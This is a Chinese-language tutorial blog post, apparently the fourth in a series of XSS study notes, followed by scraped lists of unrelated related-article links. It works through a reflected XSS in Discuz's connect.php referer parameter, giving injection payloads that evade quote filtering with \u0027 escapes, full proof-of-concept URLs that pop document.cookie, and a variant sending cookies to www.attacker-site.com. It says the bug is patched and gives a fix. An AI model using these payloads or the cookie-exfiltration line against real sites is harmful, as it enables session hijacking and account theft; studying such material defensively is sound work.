<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a'; alert(document.cookie);a='';", 3000);</script>

1.在这个样例(如今早已补)中希望大家也要体会到:XSS的上下文比較重要,怎样依据上下文,利用未过滤的字符,合理的构造,才是成功的关键(要有足够猥琐的思路)

http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=aaaaaaaaaaa&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802



2.这是測试注冊的一个账户,我们去F12看 源代码,第一个思路就是看上下文,在上下文中发现原始的上下文,然后闭合和绕过原来的上下文,源代码之后,ctrl+f 搜索自己能够控制输入的地方(如账号,个人信息等)



3.看到:

<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./aaaaaaaaaaa';", 3000);</script>
...
<a href ="http://www.discuz.net/./aaaaaaaaaaa" >

4.两处的上下文都须要 双引號或者单引號的闭合,能够试试 aaaaaaaaaaa" 作为账户名注冊一个 来试试,或者直接字啊URL模拟你和这种信息,看看有没有报错,经过实验,是不行的,是的,不可能给我们留这麽大的漏洞



5.然后我们回头看看第一个是作为函数參数的,setTimeout(可运行脚本,延时时间)函数,也就是说这个函数会把函数的第一个參数作为脚本运行,那我们试下闭合单引號, 在 URL 中 &referfer=aaaaaaaaaaa'&oauth_signature....



6.可是这里已经被过滤了。变成了window.location.href ='http://www.discuz.net/./aaaaaaaaaaa'';",3000) 这里单引號是行不通的。



7.要相信还是自己的思路不够猥琐,我们看到setTimeout()的第一个參数是字符串,我们前面的教程里说过一次,JS字符串中,字符还能够表示为unicode的形式,即:单引號还能够表示为\u0027或者\x27,呵呵,希望来了吧,还有允许字符的不同编码的闭合方式,lz过滤了\没? 试试便知,



在URL:

&referfer=aaaaaaaaaaa\&oauth_signature....



结果:

<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./aaaaaaaaaaa\';", 3000);</script>

大喜:没有过滤\就是其转义性还能够被client使用

以下还是老思路:



把原来引號里面的单引號都变成\u0027或者\x27

<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a\u0027; alert(document.cookie);a=\u0027\u0027;", 3000);</script>

8.在URL:

http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u0027;alert(document.cookie);&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802



运行后,直接弹出cookie, 呵呵,还有啥说的,这里的已经是POC了!!!



9.假设把原来的alert() 换一下,直接指向自已的xss平台就真的Ok了

如 换成 window.location.href='www.attacker-site.com?c='+document.cookie+';'    这样会跳转到还有一个页面,造成载入失效



所以要改进:

<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a'.replace(/.+/,/javascript:alert(document.cookie)/.source);//';", 3000);</script>

上面类似于我曾经写的文章点击劫持, 改动client的href代码,相同替换掉单引號,和加号

<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//';", 3000);</script>

在URL:

http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802



这样就不会由于跳转而载入失败了



看这些猥琐的样例中,事实上终于都是嵌套这反射的思想,然后就是依据上下文绕过的思想,熟能生巧,让我们尽情的Xss去吧



这个修复方案就是过滤\ 就Ok了



关于Json XSS (http://blog.csdn.net/l_f0rm4t3d/article/details/23851071) 请看我写过的这篇

XSS学习笔记(四)-漏洞利用全过程的更多相关文章

  1. 零拷贝详解 Java NIO学习笔记四(零拷贝详解)

    转 https://blog.csdn.net/u013096088/article/details/79122671 Java NIO学习笔记四(零拷贝详解) 2018年01月21日 20:20:5 ...

  2. C#可扩展编程之MEF学习笔记(四):见证奇迹的时刻

    前面三篇讲了MEF的基础和基本到导入导出方法,下面就是见证MEF真正魅力所在的时刻.如果没有看过前面的文章,请到我的博客首页查看. 前面我们都是在一个项目中写了一个类来测试的,但实际开发中,我们往往要 ...

  3. IOS学习笔记(四)之UITextField和UITextView控件学习

    IOS学习笔记(四)之UITextField和UITextView控件学习(博客地址:http://blog.csdn.net/developer_jiangqq) Author:hmjiangqq ...

  4. java之jvm学习笔记四(安全管理器)

    java之jvm学习笔记四(安全管理器) 前面已经简述了java的安全模型的两个组成部分(类装载器,class文件校验器),接下来学习的是java安全模型的另外一个重要组成部分安全管理器. 安全管理器 ...

  5. Learning ROS for Robotics Programming Second Edition学习笔记(四) indigo devices

    中文译著已经出版,详情请参考:http://blog.csdn.net/ZhangRelay/article/category/6506865 Learning ROS for Robotics Pr ...

  6. Typescript 学习笔记四:回忆ES5 中的类

    中文网:https://www.tslang.cn/ 官网:http://www.typescriptlang.org/ 目录: Typescript 学习笔记一:介绍.安装.编译 Typescrip ...

  7. ES6学习笔记<四> default、rest、Multi-line Strings

    default 参数默认值 在实际开发 有时需要给一些参数默认值. 在ES6之前一般都这么处理参数默认值 function add(val_1,val_2){ val_1 = val_1 || 10; ...

  8. muduo网络库学习笔记(四) 通过eventfd实现的事件通知机制

    目录 muduo网络库学习笔记(四) 通过eventfd实现的事件通知机制 eventfd的使用 eventfd系统函数 使用示例 EventLoop对eventfd的封装 工作时序 runInLoo ...

  9. python3.4学习笔记(四) 3.x和2.x的区别,持续更新

    python3.4学习笔记(四) 3.x和2.x的区别 在2.x中:print html,3.x中必须改成:print(html) import urllib2ImportError: No modu ...

  10. Go语言学习笔记四: 运算符

    Go语言学习笔记四: 运算符 这章知识好无聊呀,本来想跨过去,但没准有初学者要学,还是写写吧. 运算符种类 与你预期的一样,Go的特点就是啥都有,爱用哪个用哪个,所以市面上的运算符基本都有. 算术运算 ...

随机推荐

  1. centos5.5 安装git

    查看centos版本 # cat /etc/redhat-release CentOS release 5.5 (Final) 安装git 下载: 如果有老版本的git: #git clone git ...

  2. UVa---------10935(Throwing cards away I)

    题目: Problem B: Throwing cards away I Given is an ordered deck of n cards numbered 1 to n with card 1 ...

  3. HTML5 总结-视频-1

    HTML5 视频 视频格式 当前,video 元素支持三种视频格式: 格式 IE Firefox Opera Chrome Safari Ogg No 3.5+ 10.5+ 5.0+ No MPEG ...

  4. php随笔7-thinkphp OA系统 JS 文本框输入实时控制字数

    JS: //多行文本输入框剩余字数计算 function checkMaxInput(obj, maxLen) { if (obj == null || obj == undefined || obj ...

  5. 使用phpQuery实现批量文件处理

    能够将置顶文夹下的指定类型文件进行处理 <?php header('Content-Type:text/html;Charset=utf-8'); include './phpQuery/php ...

  6. centos6.5配置163的yum源

    CentOS系统自带的更新源的速度实在是慢,为了让CentOS6使用速度更快的YUM更新源,可以选择163(网易)的更新源. 1.下载repo文件 wget http://mirrors.163.co ...

  7. Python学习之路——函数

    一.Python2.X内置函数表: 注:以上为pyton2.X内置函数,官方网址:https://docs.python.org/2/library/functions.html 二.Python3. ...

  8. ASP.NET MVC3中的路由系统 Routes

    MVC中,用户访问的地址并不映射到服务器中对应的文件,而是映射到对应Control里对应的ActionMethod,由ActionMethod来决定返回用户什么样的信息.而把用户访问的地址对应到对应的 ...

  9. poj 1979 Red and Black(dfs)

    题目链接:http://poj.org/problem?id=1979 思路分析:使用DFS解决,与迷宫问题相似:迷宫由于搜索方向只往左或右一个方向,往上或下一个方向,不会出现重复搜索: 在该问题中往 ...

  10. Block动画 和 Spring动画

    Block动画: @interface BlockViewController () @property (weak, nonatomic) IBOutlet UIView *playView; @e ...